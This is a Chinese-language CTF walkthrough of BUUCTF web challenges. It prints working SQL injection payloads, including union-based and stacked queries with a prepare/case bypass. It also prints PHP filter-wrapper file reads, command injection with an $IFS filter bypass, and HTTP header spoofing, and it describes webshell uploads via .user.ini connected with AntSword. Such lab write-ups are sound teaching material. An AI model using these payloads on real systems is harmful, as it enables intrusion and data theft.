目录
[极客大挑战 2019]EasySQL
[HCTF 2018]WarmUp
[极客大挑战 2019]Havefun
[ACTF2020 新生赛]Include
[强网杯 2019]随便注
[ACTF2020 新生赛]Exec
[SUCTF 2019]EasySQL
[极客大挑战 2019]Secret File
[GXYCTF2019]Ping Ping Ping
[极客大挑战 2019]LoveSQL
[极客大挑战 2019]Knife
[极客大挑战 2019]Http
[极客大挑战 2019]Upload
[ACTF2020 新生赛]Upload
payload:
1' or 1=1-- -
1
flag{deb9ccf8-479a-49c9-8412-6171f1c4b057}
f12查看源码发现提示source.php, 进入获得源代码
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
这里有hint.php,url/hint.php发现
flag in ffffllllaaaagggg
再回去审计代码,核心代码如下:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
意思就是传入一个file变量,需要是字符串,并且传进emmm的checkFile函数时还要返回True, 就可以被包含,那么包含什么呢??就是之前hint.php里面的ffffllllaaaagggg
checkFile函数有很多返回True的条件,我们满足一个就可以
测试:
这里对应的是源码中的这里,返回的$_page是hint.php,在它给的白名单里,返回true
但是payload不能直接这样写,你得进行两次url编码,为啥是两次呢?因为你传过去的时候服务器会自动解码一次,题目源代码又解码一次,所以要两次编码
f12查看源代码
payload:
?cat=dog
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
为什么这么写呢?
那个tips里就是flag.php,题目的名字是include, 可以推测get传入的东西会被包含,但是传了file以后并没有出现flag,很可能就是被注释了,就可以利用伪协议把这个文件显示出来。
这里再写一下我想错的一个地方,我本来是想file=$_POST[1],然后post传伪协议,但是不行,为什么呢?
因为这里它直接包含了,不是eval执行,包含的话是包含文件
如果是eval的话,那就可以get传?file=include $_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
就是这样
base64解码即可
有点触及我的知识盲区了,select被ban了,报错注入和盲注都行不通
强推这个大佬的wp,很详细BUUCTF之随便注_金 帛的博客-CSDN博客_buuctf随便注
新学会堆叠注入和利用sql预处理命令注入
我就简单复述一下
堆叠注入
利用分号(;)隔开sql语句,一下子能执行多条语句
查看数据库:
-1'; show databases;#
查表:
-1'; show databases;use supersqli;show tables#
查列:
-1';use supersqli;show columns from `1919810931114514`;#
找到flag了,接下来就是怎么把它搞出来,两种办法:
1、handler查询法
2、预编译绕过法
handler查询法
本地使用:
payload:
-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#
预编译绕过法
预编译就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句
利用concat函数来联合@a里的内容,来绕过过滤
payload:
-1'use supersqli;set @sql=concat('sele','ct flag from `1919810931114514`;');prepare b from @sql;execute b;#
strstr函数ban了set和prepare,但是它不分大小写,可以用大小写绕过
payload:
-1';Set @sql=concat('sele','ct flag from `1919810931114514`;');PrePare b from @sql;execute b;#
很像ctfhub的命令执行,应该就是命令执行
1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
5、; 前后都执行,无论前面真假,同&,(linux也有)
执行命令找flag就行了
127.0.0.1|ls / #发现flag
127.0.0.1|tac /flag
有flag表,但是from flag貌似被ban了,不能读到
看wp知道 这个题的查询代码是`select $post['query']||flag from Flag`
几种解法:
1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接一下就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 或 运算符,这和Oracle数据库是一样的,也和字符串的拼接函数 CONCAT() 相类似。
这里相当于是将 select 1 和 select flag from Flag 的结果拼接在一起
*,1
拼接一下就是 select *,1||flag from Flag (1||x=1)
就相当于 select *,1 from Flag 就把flag里的东西都查出来了
本地测试:
这图还不秒懂????????????
关于*,1这个解的本地测试:
select 1 from table;的结果是什么?
(来自一个叫“一只小白来了”的大佬)
可以看到,查询结果为列名为1,一共六行
select任何一个常数都会在表中新建一列,然后查询出那一列的内容。
结论: select 1 from Flag的结果就是一排1,这一排有几个数据取决于表的行数多少。
这篇博客有介绍:select 1 from table where的作用? - ITCHN - 博客园
抓包,发现secr3t.php
进入这个目录获得源码
发现get传的file被包含,提示说在flag.php里
但是这么传payload好像看不到flag,试着用伪协议看到源码
base64解码拿到flag
试了半天,这过滤的有点太多了吧
ban位: " ", (), <>, \, / , {}, %09, %20, * , 空格 等
但是$IFS还在
然后,,,,,,
竟有如此奇法!好骚
?ip=127.0.0.1;a=ag;b=fl;tac$IFS$b$a.php
啊咧?
这样能直接登录进去,但是不给flag,说明flag还在数据库里,得爆
就正常联合查询爆
找回显点, 发现2和3的位置是回显
1' union select 1,2,3-- -
查数据库和表, 得到表名geekuser, l0ve1ysq1 ,应该是后面那个
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -
查字段名
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'-- -
查数据
1' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1-- -
拿到了,极客大挑战果然还是入门
看这封面是webshell的题吧
直接蚁剑连接
根目录里有一个flag文件,打开就是flag
既然题目叫http,就抓包
有个secret的页面
找对地方了
让从哪个网址进来,就通过Referer伪造
让用那个syclover浏览器,通过UA头伪造
让从本地来,再XXF伪造,拿到flag了
先上传一个.user.ini,这里设置了过滤,需要增加文件十六进制文件头,以及Content-type后面改成image/png
用这个标记可以
这样也可以
试了非常久,终于把木马插进去并且蚁剑测试成功了,好像是因为文件头和Content-Type不符合,我把Content-Type后面跟着的改成gif就好了(但是之前的png又能传上去,,ε=(´ο`*)))唉,小坑)
PS:
PHTML(有时也被称为PHP页)实际上是网页,它包括了由PHP脚本语言写成的网页,PHP语言和JavaScript或VBScript。它有点象微软的ASP页,一个PHTML页包括一些能够在服务器上执行的程序,用户可以通过网页的后缀可以了解什么是PHTML页。
flag在根目录
先把前端给它改了
好像是js验证,那就禁了完事
传马
蚁剑连接
flag还是在根目录